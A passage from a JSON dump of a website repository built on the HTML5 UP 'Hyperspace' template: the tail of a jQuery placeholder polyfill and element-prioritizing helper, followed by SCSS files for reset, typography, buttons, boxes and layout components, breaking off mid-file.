(document.createElement('input')).placeholder != 'undefined')\r\n\t\t\t\treturn $(this);\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).placeholder();\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar $this = $(this);\r\n\r\n\t\t// Text, TextArea.\r\n\t\t\t$this.find('input[type=text],textarea')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.val() == ''\r\n\t\t\t\t\t||  i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('blur', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('focus', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.removeClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val('');\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Password.\r\n\t\t\t$this.find('input[type=password]')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\t\t\t\t\tvar x = $(\r\n\t\t\t\t\t\t\t\t$('<div>')\r\n\t\t\t\t\t\t\t\t\t.append(i.clone())\r\n\t\t\t\t\t\t\t\t\t.remove()\r\n\t\t\t\t\t\t\t\t\t.html()\r\n\t\t\t\t\t\t\t\t\t.replace(/type=\"password\"/i, 'type=\"text\"')\r\n\t\t\t\t\t\t\t\t\t.replace(/type=password/i, 'type=text')\r\n\t\t\t\t\t);\r\n\r\n\t\t\t\t\tif (i.attr('id') != '')\r\n\t\t\t\t\t\tx.attr('id', i.attr('id') + '-polyfill-field');\r\n\r\n\t\t\t\t\tif (i.attr('name') != '')\r\n\t\t\t\t\t\tx.attr('name', i.attr('name') + '-polyfill-field');\r\n\r\n\t\t\t\t\tx.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t.val(x.attr('placeholder')).insertAfter(i);\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\ti\r\n\t\t\t\t\t\t.on('blur', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar x = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == '') {\r\n\r\n\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\tx.show();\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\tx\r\n\t\t\t\t\t\t.on('focus', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar i = x.parent().find('input[name=' + x.attr('name').replace('-polyfill-field', '') + ']');\r\n\r\n\t\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t\t.show()\r\n\t\t\t\t\t\t\t\t.focus();\r\n\r\n\t\t\t\t\t\t})\r\n\t\t\t\t\t\t.on('keypress', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tx.val('');\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Events.\r\n\t\t\t$this\r\n\t\t\t\t.on('submit', function() {\r\n\r\n\t\t\t\t\t$this.find('input[type=text],input[type=password],textarea')\r\n\t\t\t\t\t\t.each(function(event) {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\t\t\ti.attr('name', '');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == i.attr('placeholder')) {\r\n\r\n\t\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\ti.val('');\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('reset', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t$this.find('select')\r\n\t\t\t\t\t\t.val($('option:first').val());\r\n\r\n\t\t\t\t\t$this.find('input,textarea')\r\n\t\t\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this),\r\n\t\t\t\t\t\t\t\tx;\r\n\r\n\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\r\n\t\t\t\t\t\t\tswitch (this.type) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'submit':\r\n\t\t\t\t\t\t\t\tcase 'reset':\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'password':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tx = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\t\t\tx.show();\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t\t\t\ti.show();\r\n\t\t\t\t\t\t\t\t\t\tx.hide();\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'checkbox':\r\n\t\t\t\t\t\t\t\tcase 'radio':\r\n\t\t\t\t\t\t\t\t\ti.attr('checked', i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'text':\r\n\t\t\t\t\t\t\t\tcase 'textarea':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.addClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\t\t\ti.val(i.attr('placeholder'));\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Moves elements to/from the first positions of their respective parents.\r\n\t * @param {jQuery} $elements Elements (or selector) to move.\r\n\t * @param {bool} condition If true, moves elements to the top. Otherwise, moves elements back to their original locations.\r\n\t */\r\n\t$.prioritize = function($elements, condition) {\r\n\r\n\t\tvar key = '__prioritize';\r\n\r\n\t\t// Expand $elements if it's not already a jQuery object.\r\n\t\t\tif (typeof $elements != 'jQuery')\r\n\t\t\t\t$elements = $($elements);\r\n\r\n\t\t// Step through elements.\r\n\t\t\t$elements.each(function() {\r\n\r\n\t\t\t\tvar\t$e = $(this), $p,\r\n\t\t\t\t\t$parent = $e.parent();\r\n\r\n\t\t\t\t// No parent? Bail.\r\n\t\t\t\t\tif ($parent.length == 0)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t// Not moved? Move it.\r\n\t\t\t\t\tif (!$e.data(key)) {\r\n\r\n\t\t\t\t\t\t// Condition is false? Bail.\r\n\t\t\t\t\t\t\tif (!condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Get placeholder (which will serve as our point of reference for when this element needs to move back).\r\n\t\t\t\t\t\t\t$p = $e.prev();\r\n\r\n\t\t\t\t\t\t\t// Couldn't find anything? Means this element's already at the top, so bail.\r\n\t\t\t\t\t\t\t\tif ($p.length == 0)\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Move element to top of parent.\r\n\t\t\t\t\t\t\t$e.prependTo($parent);\r\n\r\n\t\t\t\t\t\t// Mark element as moved.\r\n\t\t\t\t\t\t\t$e.data(key, $p);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Moved already?\r\n\t\t\t\t\telse {\r\n\r\n\t\t\t\t\t\t// Condition is true? Bail.\r\n\t\t\t\t\t\t\tif (condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t$p = $e.data(key);\r\n\r\n\t\t\t\t\t\t// Move element back to its original location (using our placeholder).\r\n\t\t\t\t\t\t\t$e.insertAfter($p);\r\n\r\n\t\t\t\t\t\t// Unmark element as moved.\r\n\t\t\t\t\t\t\t$e.removeData(key);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t});\r\n\r\n\t};\r\n\r\n})(jQuery);"
  },
  {
    "path": "2020/assets/sass/base/_page.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Basic */\r\n\r\n\t// MSIE: Required for IEMobile.\r\n\t\t@-ms-viewport {\r\n\t\t\twidth: device-width;\r\n\t\t}\r\n\r\n\t// MSIE: Prevents scrollbar from overlapping content.\r\n\t\tbody {\r\n\t\t\t-ms-overflow-style: scrollbar;\r\n\t\t}\r\n\r\n\t// Ensures page width is always >=320px.\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\thtml, body {\r\n\t\t\t\tmin-width: 320px;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t// Set box model to border-box.\r\n\t// Based on css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice\r\n\t\thtml {\r\n\t\t\tbox-sizing: border-box;\r\n\t\t}\r\n\r\n\t\t*, *:before, *:after {\r\n\t\t\tbox-sizing: inherit;\r\n\t\t}\r\n\r\n\tbody {\r\n\t\tbackground: _palette(bg);\r\n\r\n\t\t// Stops initial animations until page loads.\r\n\t\t\t&.is-preload {\r\n\t\t\t\t*, *:before, *:after {\r\n\t\t\t\t\t@include vendor('animation', 'none !important');\r\n\t\t\t\t\t@include vendor('transition', 'none !important');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "2020/assets/sass/base/_reset.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n// Reset.\r\n// Based on meyerweb.com/eric/tools/css/reset (v2.0 | 20110126 | License: public domain)\r\n\r\n\thtml, body, div, span, applet, object,\r\n\tiframe, h1, h2, h3, h4, h5, h6, p, blockquote,\r\n\tpre, a, abbr, acronym, address, big, cite,\r\n\tcode, del, dfn, em, img, ins, kbd, q, s, samp,\r\n\tsmall, strike, strong, sub, sup, tt, var, b,\r\n\tu, i, center, dl, dt, dd, ol, ul, li, fieldset,\r\n\tform, label, legend, table, caption, tbody,\r\n\ttfoot, thead, tr, th, td, article, aside,\r\n\tcanvas, details, embed, figure, figcaption,\r\n\tfooter, header, hgroup, menu, nav, output, ruby,\r\n\tsection, summary, time, mark, audio, video {\r\n\t\tmargin: 0;\r\n\t\tpadding: 0;\r\n\t\tborder: 0;\r\n\t\tfont-size: 100%;\r\n\t\tfont: inherit;\r\n\t\tvertical-align: baseline;\r\n\t}\r\n\r\n\tarticle, aside, details, figcaption, figure,\r\n\tfooter, header, hgroup, menu, nav, section {\r\n\t\tdisplay: block;\r\n\t}\r\n\r\n\tbody {\r\n\t\tline-height: 1;\r\n\t}\r\n\r\n\tol, ul {\r\n\t\tlist-style:none;\r\n\t}\r\n\r\n\tblockquote,\tq {\r\n\t\tquotes: none;\r\n\r\n\t\t&:before,\r\n\t\t&:after {\r\n\t\t\tcontent: '';\r\n\t\t\tcontent: none;\r\n\t\t}\r\n\t}\r\n\r\n\ttable {\r\n\t\tborder-collapse: collapse;\r\n\t\tborder-spacing: 0;\r\n\t}\r\n\r\n\tbody {\r\n\t\t-webkit-text-size-adjust: none;\r\n\t}\r\n\r\n\tmark {\r\n\t\tbackground-color: transparent;\r\n\t\tcolor: inherit;\r\n\t}\r\n\r\n\tinput::-moz-focus-inner {\r\n\t\tborder: 0;\r\n\t\tpadding: 0;\r\n\t}\r\n\r\n\tinput, select, textarea {\r\n\t\t-moz-appearance: none;\r\n\t\t-webkit-appearance: none;\r\n\t\t-ms-appearance: none;\r\n\t\tappearance: none;\r\n\t}"
  },
  {
    "path": "2020/assets/sass/base/_typography.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Type */\r\n\r\n\tbody, input, select, textarea {\r\n\t\tcolor: _palette(fg);\r\n\t\tfont-family: _font(family);\r\n\t\tfont-size: 16.5pt;\r\n\t\tfont-weight: _font(weight);\r\n\t\tline-height: 1.75;\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\tfont-size: 13pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\tfont-size: 12pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xxsmall') {\r\n\t\t\tfont-size: 11pt;\r\n\t\t}\r\n\t}\r\n\r\n\ta {\r\n\t\t@include vendor('transition', (\r\n\t\t\t'color #{_duration(transition)} ease',\r\n\t\t\t'border-bottom-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tborder-bottom: dotted 1px _palette(fg-light);\r\n\t\tcolor: inherit;\r\n\t\ttext-decoration: none;\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-bottom-color: transparent;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tstrong, b {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t}\r\n\r\n\tem, i {\r\n\t\tfont-style: italic;\r\n\t}\r\n\r\n\tp {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t}\r\n\r\n\th1, h2, h3, h4, h5, h6 {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.25) 0;\r\n\r\n\t\ta {\r\n\t\t\tcolor: inherit;\r\n\t\t\ttext-decoration: none;\r\n\t\t}\r\n\t}\r\n\r\n\th1 {\r\n\t\tfont-size: 2.75em;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\t\t\tposition: relative;\r\n\t\t\tpadding-bottom: 0.35em;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\tbottom: 0;\r\n\t\t\t\tcontent: '';\r\n\t\t\t\theight: 0.05em;\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tright: 0;\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\th2 {\r\n\t\tfont-size: 1.75em;\r\n\t}\r\n\r\n\th3 {\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\th4 {\r\n\t\tfont-size: 1em;\r\n\t}\r\n\r\n\th5 {\r\n\t\tfont-size: 0.8em;\r\n\t}\r\n\r\n\th6 {\r\n\t\tfont-size: 0.6em;\r\n\t}\r\n\r\n\t@include breakpoint('<=small') {\r\n\t\th1 {\r\n\t\t\tfont-size: 2em;\r\n\t\t}\r\n\r\n\t\th2 {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t}\r\n\r\n\t\th3 {\r\n\t\t\tfont-size: 1em;\r\n\t\t}\r\n\r\n\t\th4 {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\th5 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\r\n\t\th6 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\t}\r\n\r\n\tsub {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: 0.5em;\r\n\t}\r\n\r\n\tsup {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: -0.5em;\r\n\t}\r\n\r\n\tblockquote {\r\n\t\tborder-left: solid (_size(border-width) * 4) _palette(border);\r\n\t\tfont-style: italic;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding: (_size(element-margin) / 4) 0 (_size(element-margin) / 4) _size(element-margin);\r\n\t}\r\n\r\n\tcode {\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0.25em;\r\n\t\tpadding: 0.25em 0.65em;\r\n\t}\r\n\r\n\tpre {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tcode {\r\n\t\t\tdisplay: block;\r\n\t\t\tline-height: 1.75em;\r\n\t\t\tpadding: 1em 1.5em;\r\n\t\t\toverflow-x: auto;\r\n\t\t}\r\n\t}\r\n\r\n\thr {\r\n\t\tborder: 0;\r\n\t\tborder-bottom: solid _size(border-width) _palette(border);\r\n\t\tmargin: _size(element-margin) 0;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: (_size(element-margin) * 1.5) 0;\r\n\t\t}\r\n\t}\r\n\r\n\t.align-left {\r\n\t\ttext-align: left;\r\n\t}\r\n\r\n\t.align-center {\r\n\t\ttext-align: center;\r\n\t}\r\n\r\n\t.align-right {\r\n\t\ttext-align: right;\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_actions.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Actions */\r\n\r\n\tul.actions {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tcursor: default;\r\n\t\tlist-style: none;\r\n\t\tmargin-left: (_size(element-margin) * -0.5);\r\n\t\tpadding-left: 0;\r\n\r\n\t\tli {\r\n\t\t\tpadding: 0 0 0 (_size(element-margin) * 0.5);\r\n\t\t\tvertical-align: middle;\r\n\t\t}\r\n\r\n\t\t&.special {\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\twidth: 100%;\r\n\t\t\tmargin-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tpadding-left: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.stacked {\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\tmargin-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tpadding: (_size(element-margin) * 0.65) 0 0 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\twidth: calc(100% + #{_size(element-margin) * 0.5});\r\n\r\n\t\t\tli {\r\n\t\t\t\t@include vendor('flex-grow', '1');\r\n\t\t\t\t@include vendor('flex-shrink', '1');\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t> * {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&.stacked {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t&:not(.fixed) {\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\twidth: 100% !important;\r\n\r\n\t\t\t\tli {\r\n\t\t\t\t\t@include vendor('flex-grow', '1');\r\n\t\t\t\t\t@include vendor('flex-shrink', '1');\r\n\t\t\t\t\tpadding: (_size(element-margin) * 0.5) 0 0 0;\r\n\t\t\t\t\ttext-align: center;\r\n\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tinput[type=\"submit\"],\r\n\t\t\t\t\tinput[type=\"reset\"],\r\n\t\t\t\t\tinput[type=\"button\"],\r\n\t\t\t\t\tbutton,\r\n\t\t\t\t\t.button {\r\n\t\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t\t&.icon {\r\n\t\t\t\t\t\t\t&:before {\r\n\t\t\t\t\t\t\t\tmargin-left: -0.5rem;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_box.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Box */\r\n\r\n\t.box {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tmargin-bottom: _size(element-margin);\r\n\t\tpadding: 1.5em;\r\n\r\n\t\t> :last-child,\r\n\t\t> :last-child > :last-child,\r\n\t\t> :last-child > :last-child > :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder: 0;\r\n\t\t\tborder-radius: 0;\r\n\t\t\tpadding: 0;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_button.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Button */\r\n\r\n\tinput[type=\"submit\"],\r\n\tinput[type=\"reset\"],\r\n\tinput[type=\"button\"],\r\n\tbutton,\r\n\t.button {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\t@include vendor('transition', (\r\n\t\t\t'border-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tbackground-color: transparent;\r\n\t\tborder: solid 1px !important;\r\n\t\tborder-color: _palette(border) !important;\r\n\t\tborder-radius: 3em;\r\n\t\tcolor: _palette(fg-bold) !important;\r\n\t\tcursor: pointer;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-size: 0.6em;\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\theight: calc(4.75em + 2px);\r\n\t\tletter-spacing: _font(kerning-alt);\r\n\t\tline-height: 4.75em;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 3.75em;\r\n\t\tposition: relative;\r\n\t\ttext-align: center;\r\n\t\ttext-decoration: none;\r\n\t\ttext-transform: uppercase;\r\n\t\twhite-space: nowrap;\r\n\r\n\t\t&:after {\r\n\t\t\t@include vendor('transform', 'scale(0.25)');\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(transition)} ease',\r\n\t\t\t\t'transform #{_duration(transition)} ease'\r\n\t\t\t));\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 3em;\r\n\t\t\tcontent: '';\r\n\t\t\theight: 100%;\r\n\t\t\tleft: 0;\r\n\t\t\topacity: 0;\r\n\t\t\tposition: absolute;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.icon {\r\n\t\t\t&:before {\r\n\t\t\t\tmargin-right: 0.75em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.small {\r\n\t\t\tfont-size: 0.4em;\r\n\t\t}\r\n\r\n\t\t&.large {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\t&.primary {\r\n\t\t\tbackground-color: _palette(fg-bold);\r\n\t\t\tcolor: _palette(bg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\tdisplay: none;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.disabled,\r\n\t\t&:disabled {\r\n\t\t\tcursor: default;\r\n\t\t\topacity: 0.5;\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t}\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-color: _palette(fg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\topacity: 0.05;\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t}\r\n\r\n\t\t\t&:active {\r\n\t\t\t\tborder-color: _palette(fg-bold) !important;\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\topacity: 0.1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_contact.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Contact */\n\n\tul.contact {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\n\t\t> li {\n\t\t\tpadding: 0;\n\t\t\tmargin: 1.5em 0 0 0;\n\n\t\t\t&:first-child {\n\t\t\t\tmargin-top: 0;\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_features.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Features */\r\n\r\n\t.features {\r\n\t\t@include vendor('display', 'flex');\r\n\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid 1px _palette(border);\r\n\t\tbackground: _palette(border-bg);\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tsection {\r\n\t\t\t@include padding(3em, 3em, (0.5em, 0, 0, 4em));\r\n\t\t\twidth: 50%;\r\n\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:nth-child(-n + 2) {\r\n\t\t\t\tborder-top-width: 0;\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2n) {\r\n\t\t\t\tborder-left: solid 1px _palette(border);\r\n\t\t\t}\r\n\r\n\t\t\t.icon {\r\n\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t'opacity #{_duration(activation) * 0.5} ease',\r\n\t\t\t\t\t'transform #{_duration(activation) * 0.5} ease'\r\n\t\t\t\t));\r\n\t\t\t\t@include vendor('transition-delay', '1s');\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tleft: 3em;\r\n\t\t\t\ttop: 3em;\r\n\t\t\t\topacity: 1;\r\n\t\t\t}\r\n\r\n\t\t\t@for $i from 1 through _misc(max-features) {\r\n\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t.icon {\r\n\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(transition) * 0.75 * $i)}');\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.inactive {\r\n\t\t\tsection {\r\n\t\t\t\t.icon {\r\n\t\t\t\t\t@include vendor('transform', 'scale(0.5)');\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\tsection {\r\n\t\t\t\tborder-top-width: 1px !important;\r\n\t\t\t\tborder-left-width: 0 !important;\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t&:first-child 